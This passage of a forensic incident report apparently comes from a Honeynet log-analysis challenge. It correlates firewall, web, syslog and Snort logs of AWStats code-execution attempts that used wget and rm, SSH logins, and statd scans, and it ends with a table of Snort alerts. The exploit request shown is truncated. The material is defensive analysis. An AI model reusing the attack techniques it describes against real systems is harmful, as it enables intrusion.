DST=11.11.79.89 LEN=60 TOS=0x00 PREC=0x00 TTL=43 ID=48310 DF PROTO=TCP SPT=50860 DPT=80 WINDOW=5840
RES=0x00 SYN URGP=0
```

The access_logi.3 from the webserver gives two accesses from this IP (lines truncated):

```
[26/Feb/2005:14:10:36 -0500] "GET /cgi-bin/awstats.pl  HTTP/1.0" 200 760 "-" "-"
[26/Feb/2005:14:13:38 -0500] "GET /cgi-bin/awstats.pl?configdir=%20% ...
```

The first entry is the successful scan for the script *awstats.pl*, the second one is the one labelled as AWstats Incidents1 (the output was shortened as we are now only interested to find the corresponding entries in the iptables logfile).
Between the both requests there is a delay of 3 minutes and 2 seconds. This delay fits to the second and the third entry of the iptables logfile.

> **Conclusion:**
> The packetfiler running iptables and the webserver are **not** time synchronized. Their system times differ by 4 hours 47 minutes and 1 second (may vary over the time)!

There was a wget command issued in the second request. This should have triggered a snort alarm. Actually there are 5 such alarms in the snort logs: 4 with destination 11.11.79.67 and one with destination 11.11.79.89. We know that the attack came from IP 213.135.2.227. This IP triggered the following alarms in snort[6]:

```
Feb 26 17:45:03 bastion snort: [111:2:1] (spp_stream4) possible EVASIVE RST detection {TCP}
213.135.2.227:32452 -> 11.11.79.89:80
Feb 26 17:45:46 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.8620 {TCP}
213.135.2.227:32452 -> 11.11.79.89:80
Feb 26 18:57:40 bastion snort: [111:2:1] (spp_stream4) possible EVASIVE RST detection {TCP}
213.135.2.227:49727 -> 11.11.79.89:80
Feb 26 19:00:40 bastion snort: [1:2001686:6] BLEEDING-EDGE EXPLOIT Awstats Remote Code Execution Attempt
[Classification: Web Application Attack] [Priority: 1]: {TCP} 213.135.2.227:50860 -> 11.11.79.89:80
Feb 26 19:00:42 bastion snort: [1:1330:6] WEB-ATTACKS wget command attempt
[Classification: Web Application Attack] [Priority: 1]: {TCP} 213.135.2.227:50860 -> 11.11.79.89:80
Feb 26 19:00:42 bastion snort: [1:1365:5] WEB-ATTACKS rm command attempt
[Classification: Web Application Attack] [Priority: 1]: {TCP} 213.135.2.227:50860 -> 11.11.79.89:80
```

[6]The command used was

```
Feb 26 19:00:58 bastion snort: [111:2:1] (spp_stream4) possible EVASIVE RST detection {TCP}
213.135.2.227:50860 -> 11.11.79.89:80
Feb 26 19:00:58 bastion snort: [111:2:1] (spp_stream4) possible EVASIVE RST detection {TCP}
213.135.2.227:50860 -> 11.11.79.89:80
Feb 26 19:00:58 bastion snort: [111:2:1] (spp_stream4) possible EVASIVE RST detection {TCP}
213.135.2.227:50860 -> 11.11.79.89:80
```

The entries about the usage of `wget` and `rm` match the command execution found in access_log.3. Comparing the times of both entries shows that there, too, is no time synchronization.

Conclusion:
The host running snort and the webserver are **not** time synchronized. Their system times differ by 4 hours 47 minutes and 4 seconds (may vary over the time)!

The timestamps of the packetfilter and the IDS system are pretty close, so that they seemed to be synchronized at least sometimes. For the further cross correlation any deviations found will be considered.

Checking the successful awstats.pl attacks against the iptables logfile reveals that the target webservers are 11.11.79.67 and 11.11.79.89. From the boot messages on February 11th it is clear that this host has several virtual IP addresses, the two being part of that. Therefore the logfiles have to be checked for unusual traffic for all configured IP addresses.

Facts:
In AWstats Incident1 and AWstats Incident3 a file has been downloaded successfully.
In both cases starting the donwloaded program was tried.

Observation:
In AWstats Incident3 the start seemed to be unsuccessful due to the message `bind: address already in use`.

Conclusion:
There is a high probability that the system has been compromised.

Chain of reasoning:
If the start of the program in AWstats Incident1 was successful, some kind of action should have followed. It is likely that the attacker tried to run some kind of backdoor program to gain a permanent entry. If that was the case, then some kind of traffic out of the ordinary should be visible in the logfiles because the attacker would try to verify that the backdoor worked.
Checking the logfiles reveals:

- No entries in the syslog files show any connection to this attack.
- No other unusual entries are found in the http logfile corresponding to this attack.
- The snort logfile shows alarms concerning IRC traffic soon after the attack. Additionally some attempts to connect to a closed port are detected:

```
Feb 26 19:01:15 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.8898 {TCP}
       193.109.122.24:3955 -> 11.11.79.67:3382
Feb 26 19:01:16 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.8779 {TCP}
       193.109.122.21:4020 -> 11.11.79.67:8080
Feb 26 19:01:17 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.8895 {TCP}
       193.109.122.59:4083 -> 11.11.79.67:8000
```

```
Feb 26 19:01:18 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.8669 {TCP}
       193.109.122.7:4145 -> 11.11.79.67:6588
Feb 26 19:01:19 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.9717 {TCP}
       193.109.122.23:4204 -> 11.11.79.67:1080
Feb 26 19:01:20 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 1.0000 {TCP}
       193.109.122.41:4266 -> 11.11.79.67:407
Feb 26 19:01:21 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 1.0000 {TCP}
       193.109.122.14:4323 -> 11.11.79.67:4480
Feb 26 19:01:22 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.9767 {TCP}
       193.109.122.53:4381 -> 11.11.79.67:3128
Feb 26 19:01:25 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 1.0000 {TCP}
       193.109.122.37:4499 -> 11.11.79.67:23
```

193.109.222.* belong to the proxypool of undernet.org.

- In the iptables logfile the entry of the attack is dated with February 26th 19:00:39. Soon after the attack that IRC traffic from 11.11.79.67 started. The next 20 minutes are covered with the usual scans.

As there are no packet captures it is not visible from the logfiles if the found IRC traffic is in any way connected to the tried start of the downloaded program. It might also be a pure coincidence because a legitimate user starts chatting.
If it was a legitimate user then this user must have logged in sometime after the reboot of February 11th. But the syslog files provided show no indication of other users than news (cronjob), root (February 24th 09:02:33 to 09:14:59 and March 17th 13:06:36) and test logging in. The user test was not logged in long enough for IRC sessions (see next subsection). Under the assumption that the syslog files really show all logins, it can be concluded that no legitimate user was active during the time in question. Therefore the IRC traffic is considered part of the attack. In this sense the system has been compromised.

4.2 Intrusion2: Successful logins as user

There were several successful login attempts from various IP addresses found in the syslog files *secure**. One entry will be cross correlated to find any deviations of the system time:

secure:

```
Mar 13 16:26:09 combo sshd[8714]: Accepted password for test from 59.120.2.133 port 57019 ssh2
```

iptablesyslog:

```
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1
SRC=59.120.2.133 DST=11.11.79.81 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=28415 DF PROTO=TCP
SPT=57019 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
```

Conclusion:
The packetfiler running iptables and the syslog server are **not** time synchronized. Their system times differ by 4 hours 47 minutes and 12 seconds (may vary over the time)!

From the iptables entries more information can be retrieved. For example the accesses of the IP address above is taken (what has been found applies to the other access as well):

grep 59.120.2.133 iptableslog

```
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.80 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=27539 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.81 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=28805 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.82 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=64801 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.83 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=6334 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.84 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=37251 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.85 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=35996 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.87 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=63521 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.89 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=54951 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:13:34 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.90 LEN=48 TOS=0x00 PREC=0x00 TTL=109 ID=29221 PROTO=TCP SPT=7337 DPT=22 WINDOW=65535
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.81 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=28415 DF PROTO=TCP SPT=57019 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.80 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=12458 DF PROTO=TCP SPT=57020 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.90 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=36926 DF PROTO=TCP SPT=57023 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.82 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=30179 DF PROTO=TCP SPT=57024 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.89 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=12786 DF PROTO=TCP SPT=57025 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.84 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=33137 DF PROTO=TCP SPT=57040 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.87 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=44461 DF PROTO=TCP SPT=57049 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.83 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=14068 DF PROTO=TCP SPT=57051 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
Mar 13 21:14:21 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=59.120.2.133
   DST=11.11.79.85 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=19296 DF PROTO=TCP SPT=57068 DPT=22 WINDOW=5840
   RES=0x00 SYN URGP=0
```

The explanation for the successful logins per scan run lies in the fact that several of the configured IP addresses were scanned.

If there really was an intrusion there would have been a longer login time. By using

```
grep -i sshd messages* |grep test >test.inout
```

all the dates and times people logged in and out can be found. By browsing through the 80 line file it was obvious that each successful login was accompanied by a logout whithin a second.

Conclusion:
Therefore it is assumed that even if this is considered an intrusion no system compromise has taken place.

4.3 Other incidents

4.3.1 RPC attacks

A number of RPC based attacks are found in the syslog logfiles. Checking the snort logfile only for the 16th of March five alarms are found:

```
Mar 16 10:27:42 bastion snort: [1:1913:10] RPC STATD UDP stat mon_name format
string exploit attempt [Classification: Attempted Administrator Privilege Gain]
[Priority: 1]: {UDP} 62.111.213.88:722 -> 11.11.79.105:1024
```

It is odd that there are no entries for March 6th (according to the iptables logfile the attack was a scan from IP address 61.161.139.6) and March 8th (scanning IP address 211.155.251.152).
If the attack were successful an attacker could inject code that is executed with the system priviledges of the user running the statd (usually root). In all cases the iptables logfile shows that these attacks had been scans. No further attempts to exploit the statd were found. Therefore it is likely that the attack was not successful.

4.3.2 Unusual high system load

On March 6th and March 7th the system load reached a level where sendmail stops working. Neither the other syslog files not the snort entries or iptables give an explicit reason for this behaviour. The have been a larger number of connections to port 1433/tcp from 63.130.196.53. But they did not last as long as the system load was high (50 minutes!).
Without additional system information no further statements are reasonable.

5 Part IV: Summary and further actions

From the data provided by the Honeynet Project at least two severe attacks endangering system security were found: AWstats Incident1 and AWstats Incident3. The incidents are seemingly unsuccesful therefore considered harmless.
Yet there is still an open issue with the high system load on Mar 6th and March 7th. There might be no chance to recover what had happen then.

The next steps would be to verify the results found against additional information like system configuration and its deviation from the orginal setup, history files if available and leftovers from the attacks.

The files downloaded in AWstats Incident1 and AWstats Incident3 should be secured and analyzed for their payload (are they what they seem, a kind of IRC bot or IRC bouncer? Do they open a backoor? If so, on which port?).

If a system administrator is unsure if the system has been compromised or is not allowed to shut the system down for analysis, a way to tell would be to look more deeply into the traffic, i.e. to configure snort not only to fire an alarm but to log the packet that triggered the alarm. This strategy would help to reduce the chance for false positives and get a clearer picture of what has been tried. The payload of the snort alarms would have been a great help.
The packetfilter logfile could be analyzed in a way that all allowed traffic is ignored. If an internal system answers with a SYN/ACK for a connection request on an unallowed port (i.e. not by the administrator configured) then the system is most likely compromised. The same applies if the system starts talking without anybody on the system as it seems to be this case.

Of course, a compromised system never should stay online.

A Output from SnortSnarf

Prio	Signature	# Alerts	# Sources	# Dests
N/A	(http_inspect) DOUBLE DECODING ATTACK	2	2	2
N/A	(snort_decoder): Truncated Tcp Options	3	2	3
N/A	(snort_decoder) WARNING: TCP Data Offset is less than 5!	4	1	2
N/A	(http_inspect) OVERSIZE REQUEST-URI DIRECTORY	4	3	4
N/A	(spp_stream4) STEALTH ACTIVITY (unknown) detection	15	2	6
N/A	(http_inspect) BARE BYTE UNICODE ENCODING	413	31	23
N/A	(spp_stream4) possible EVASIVE RST detection	3460	464	27
3	ICMP Parameter Problem Unspecified Error	1	1	1
3	ICMP PING speedera	1	1	1
3	MS-SQL ping attempt	1	1	1
3	BAD-TRAFFIC tcp port 0 traffic	1	1	1
3	ICMP Destination Unreachable Fragmentation Needed and DF bit was set	4	2	2
3	BLEEDING-EDGE POLICY IRC connection	7	3	1
3	ICMP Destination Unreachable Network Unreachable	8	6	5
3	SCAN SSH Version map attempt	8	1	8
3	ICMP PING Sun Solaris	12	1	1
3	ICMP Destination Unreachable Host Unreachable	13	10	11
3	ICMP Destination Unreachable Communication Administratively Prohibited	20	9	12
3	ICMP PING *NIX	27	2	2
3	ICMP PING BSDtype	27	2	2
3	BLEEDING-EDGE Multiple Non-SMTP Server Emails	49	18	14
3	POLICY SMTP relaying denied	65	23	3
3	ICMP PING Delphi-Piette Windows	72	3	24
3	ICMP Time-To-Live Exceeded in Transit	216	57	23
3	ICMP PING CyberKit 2.2 Windows	885	701	24
3	ICMP Echo Reply	3331	23	1052
3	ICMP PING	3492	1062	24
3	MS-SQL version overflow attempt	4437	1224	24
3	ICMP Destination Unreachable Port Unreachable	8040	118	1366
2	TFTP Get	1	1	1
2	WEB-MISC cat%20 access	1	1	1
2	SNMP public access udp	1	1	1
2	BLEEDING-EDGE SCAN NMAP -sA	1	1	1
2	SNMP request udp	1	1	1
2	BLEEDING-EDGE Proxy CONNECT Request	3	3	1
2	ATTACK-RESPONSES id check returned root	4	3	2
2	ATTACK-RESPONSES id check returned userid	5	3	2
2	BLEEDING-EDGE SCAN NMAP -sS	6	1	5
2	WEB-IIS ISAPI .printer access	9	5	8
2	BLEEDING-EDGE SCAN NMAP -f -sS	12	3	5

2	RPC portmap status request UDP	13	3	11
2	WEB-IIS nsiislog.dll access	13	10	10
2	WEB-IIS ISAPI .ida access	14	14	9
2	WEB-MISC bad HTTP/1.1 request, Potentially worm attack	16	1	16
2	(http_inspect) NON-RFC HTTP DELIMITER	16	4	4
2	DNS named version attempt	18	2	17
2	BLEEDING-EDGE MS-SQL DOS bouncing packets	22	1	22
2	ICMP traceroute	27	2	12
2	BAD-TRAFFIC loopback traffic	44	1	24
2	(http_inspect) WEBROOT DIRECTORY TRAVERSAL	47	24	2
2	RPC portmap listing TCP 111	78	4	23
2	BLEEDING-EDGE Web Proxy GET Request	114	7	23
2	(http_inspect) DOUBLE DECODING ATTACK	244	39	23
2	WEB-MISC http directory traversal	342	39	23
2	ATTACK-RESPONSES 403 Forbidden	402	23	278
2	BLEEDING-EDGE Potential SSH Scan	410	40	24
2	(http_inspect) OVERSIZE REQUEST-URI DIRECTORY	417	17	23
2	WEB-FRONTPAGE /_vti_bin/ access	428	9	23
2	WEB-FRONTPAGE rad fp30reg.dll access	428	9	23
2	WEB-MISC WebDAV search access	452	18	23
2	ICMP PING NMAP	464	246	24
2	MS-SQL Worm propagation attempt OUTBOUND	4437	1224	24
2	MS-SQL Worm propagation attempt	4437	1224	24
1	BLEEDING-EDGE IRC - Private message on non-std port	3	1	1
1	WEB-ATTACKS rm command attempt	5	5	2
1	WEB-ATTACKS wget command attempt	5	5	2
1	RPC STATD UDP stat mon_name format string exploit attempt	13	3	11
1	WEB-IIS ISAPI .ida attempt	14	14	9
1	BLEEDING-EDGE IRC Trojan Reporting (Scan)	19	3	1
1	WEB-IIS WEBDAV nessus safe scan attempt	22	1	22
1	BACKDOOR typot trojan traffic	28	9	1
1	BLEEDING-EDGE EXPLOIT Awstats Remote Code Execution Attempt	51	6	18
1	WEB-IIS CodeRed v2 root.exe access	60	31	2
1	BLEEDING-EDGE WORM Mydoom.ah/i Infection IRC Activity	148	1	2
1	CHAT IRC nick change	148	1	5
1	WEB-IIS cmd.exe access	399	41	23
1	WEB-MISC Chunked-Encoding transfer attempt	428	9	23
1	(http_inspect) BARE BYTE UNICODE ENCODING	450	11	23
1	BLEEDING-EDGE IRC - Nick change on non-std port	541	1	1
1	BLEEDING-EDGE IRC - Channel JOIN on non-std port	1009	1	1
1	SHELLCODE x86 NOOP	1710	21	23
1	BLEEDING-EDGE Potential MySQL bot scanning for SQL server	3514	25	24
1	CHAT IRC message	5638	3	3